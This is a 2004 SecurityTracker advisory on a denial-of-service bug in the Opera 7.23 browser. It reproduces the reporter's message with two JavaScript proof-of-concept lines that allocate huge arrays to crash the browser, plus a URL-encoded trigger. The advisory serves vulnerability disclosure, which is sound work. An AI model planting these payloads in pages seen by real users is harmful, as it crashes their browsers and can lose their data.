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Category:   Application (Web Browser)  >   Opera Vendors:   Opera Software
Opera Array Processing Error Lets Remote Users Crash the Browser
SecurityTracker Alert ID:  1009442
SecurityTracker URL:  http://securitytracker.com/id/1009442
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Mar 16 2004
Impact:   Denial of service via network
Exploit Included:  Yes  
Version(s): 7.23
Description:   d3thStaR reported a denial of service vulnerability in the Opera web browser in the processing of arrays. A remote user can cause a target user's browser to crash.

It is reported that a remote user can create specially crafted HTML that, when loaded by a target user, will cause the target user's Opera browser to crash due to an array allocation management error.

Some demonstration exploit code is provided:

<script>var a = new Array(99999999999999999999999); a[0+5]="AAAAA";</script>

<script>var bam = new Array(0x23000000); bam.sort(new Function("return 1"));</script>

The vendor has reportedly been notified.

Impact:   A remote user can create HTML that, when loaded by the target user, will cause the target user's browser to crash.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.opera.com/ (Links to External Site)
Cause:   Exception handling error
Underlying OS:  Linux (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  Opera Array Allocation Managment Exploit




=====================================
Opera Array Allocation Managment Exploit
=====================================
Dicovered by- d3thStaR [!AM] <d3thStaR at rootthief.com>
Greets: !AM Crew, Atomix, d3thstar, mgrd, 0x29A Crew, rootthief.com.
Sources: Safari Overflow Exploit- kang
Confirmed products effected- Opera 7.23 Linux, Opera 7.23 Windows

=======Description of Problem=======
Someone could remotely seg-fault the Opera web-browser by creating an array allocation managment error.

&lt;script&gt;var a = new Array(99999999999999999999999); a[0+5]="AAAAA";&lt;/script&gt;

&lt;script&gt;var bam = new Array(0x23000000); bam.sort(new Function("return 1"));&lt;/script&gt;

Results in crashed client. No, severe, damage; did loose a 'Note' on one test.

=======Precautions=======
Be aware of cross-site scripting attacks.

Known URL triggers: %40%3cscript%3evar%20bam%20%3d%20new%20Array%280x2
3000000%29%3b%20bam%2esort%28new%20Function%28%22r
eturn%201%22%29%29%3b%3c%2fscript%3e

Vendor- Opera.com
Notified- 3/12/04_1:04am/Central

d3thStaR
<d3thStaR at rootthief.com>

 
 


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